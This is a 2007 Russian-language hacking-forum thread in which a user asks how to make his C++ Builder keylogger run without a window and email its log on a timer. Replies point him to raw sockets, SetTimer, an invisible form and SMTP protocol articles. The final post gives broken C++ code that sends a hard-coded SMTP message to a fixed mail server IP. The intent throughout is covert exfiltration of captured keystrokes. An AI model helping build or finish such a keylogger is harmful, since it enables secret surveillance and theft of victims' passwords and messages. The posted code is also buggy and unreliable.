вопросик...может тупой

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by -n00by-, 26 Mar 2007.

  1. -n00by-

    -n00by- Elder - Старейшина

    Joined:
    10 Mar 2007
    Messages:
    46
    Likes Received:
    16
    Reputations:
    0
    вобщем такая фигня: пишу от некуй делать кейлогер(в b c++ b) и мне хочиццо, чтоб он отправлял на мыло лог через определенное время. как это сделать, если прога должна быть без окон, а нуно добавить NMSMTP и таймер, которые вродь прилепляются к окну :confused:
     
  2. je0n

    je0n Elder - Старейшина

    Joined:
    14 May 2006
    Messages:
    345
    Likes Received:
    96
    Reputations:
    41
    Отправку реализуй через сокеты, а таймер - функция SetTimer() (это API)

    На прямой вопрос ответа не знаю. Но то что я тебе сказал - будет идеальным вариантом.
     
  3. -n00by-

    -n00by- Elder - Старейшина

    Joined:
    10 Mar 2007
    Messages:
    46
    Likes Received:
    16
    Reputations:
    0
    с set timer понял, а вот чо такое сокеты и как ето все написать объясни для ламеров плз. мне прост сетку с норм скоростью гдето полгода назад подрубили, дык я пока в етом всем ламосос
     
  4. je0n

    je0n Elder - Старейшина

    Joined:
    14 May 2006
    Messages:
    345
    Likes Received:
    96
    Reputations:
    41
    держи
    http://forum.web-hack.ru/index.php?showtopic=6328

    в кратце. Сокеты работают на прямую с протоколом. Чтобы отправить письмо, тебе прийдеться знать помимо того как работать с сокетами еще и протокол отправки письма. то есть smtp.

    Если че спрашивай
     
  5. -n00by-

    -n00by- Elder - Старейшина

    Joined:
    10 Mar 2007
    Messages:
    46
    Likes Received:
    16
    Reputations:
    0
    пасибки
     
  6. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,021
    Likes Received:
    1,200
    Reputations:
    327
    просто невидимую ворму забахай и все
     
  7. -n00by-

    -n00by- Elder - Старейшина

    Joined:
    10 Mar 2007
    Messages:
    46
    Likes Received:
    16
    Reputations:
    0
    на панели задач она вродь видна. кроме того она конкр увеличит размер проги.

    ну вродь с кокетами разобрался. а вот как через них юзать smtp не собсем вйэхал. киньте ктонить линк на статейку какуюнить...
     
    #7 -n00by-, 28 Mar 2007
    Last edited: 28 Mar 2007
  8. je0n

    je0n Elder - Старейшина

    Joined:
    14 May 2006
    Messages:
    345
    Likes Received:
    96
    Reputations:
    41
    вот описание протокола:
    http://www.codenet.ru/webmast/smtp.php

    Там ясно описано, какие значения нужно отправлять серверу и какие сервер должен возвращать. И еще: если будешь юзать для почты сервисы от mail.ru (или подобных), на которых требуется авторизация через pop3, то когда будешь тестить заходи на почтовый ящик обычным клиентом (the bat) и проверь почту. После этого где-то полчаса можешь работать без авторизации.

    P.S. если из этой статейки ничего не поймешь поюзай гугл. Таких примеров миллион для каждого языка программирования.
     
  9. -n00by-

    -n00by- Elder - Старейшина

    Joined:
    10 Mar 2007
    Messages:
    46
    Likes Received:
    16
    Reputations:
    0
    пасиб исчо раз.

    Вы должны добавить репутацию кому-то еще, прежде чем сможете снова добавить ее je0n. ;)
    -----------------------------------------------------------------------
    ЗЫ если у кого возникнет такойжа вопрос, как у меня--нашел вот это ....
    ЗЗЫ а еще вот это и вот это

    зззЫ
    кто может сказать почему сия чуда не пашет?


    Code:
    #include<winsock.h>
    #include<vcl.h>
    WINAPI SendMail(void)
    {
       WSADATA stWSADataTCPIP;
        if(WSAStartup(0x0101, &stWSADataTCPIP))
        {
           SOCKET nSMTPServerSocket;
           struct sockaddr_in smtp_address;
           int nConnect;
           int iLength;
           int iMsg = 0;
           int iEnd = 0;
           BYTE sBuf[4096];
    
             char *MailMessage[] =
             {
               "HELO axel.ru\r\n",
               "MAIL FROM:<vasya_pupkin@cool_mail.ru>\r\n",   // отправитель
               "RCPT TO:<loki_hapuk@mail.ru>\r\n",            // получатель
               "DATA\r\n",
               "здрасте, я smtp\r\n\r\n.\r\n",                   // сам собсна текст
               "QUIT\r\n",
               NULL
             };
             //---------------------------------------------------------------------
    
               if(nSMTPServerSocket != INVALID_SOCKET)
                 {
                   smtp_address.sin_family = AF_INET;
                   // IPшник сервера
                   smtp_address.sin_addr.s_addr = inet_addr("194.67.23.111");
                   smtp_address.sin_port = htons(25);
    
                   nConnect = connect(nSMTPServerSocket, (PSOCKADDR)&smtp_address,
                                                              sizeof(smtp_address));
    
                       if(nConnect)  { }
                       else  {
                          do  {
                               iLength = recv(nSMTPServerSocket, (LPSTR)sBuf+iEnd, sizeof(sBuf)-iEnd, 0);
                               iEnd += iLength;
                               sBuf[iEnd] = '\0';
                               send(nSMTPServerSocket, (LPSTR)MailMessage[iMsg], strlen(MailMessage[iMsg]), 0);
                               iMsg++;
                               } while(MailMessage[iMsg]);
                             }
    
                  closesocket(nSMTPServerSocket);
              }
      }
    return void;
    }
    //----------------------------
     WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
    {
      SendMail();
      ExitProcess(0);
      return 0;
    }
     
    #9 -n00by-, 29 Mar 2007
    Last edited: 30 Mar 2007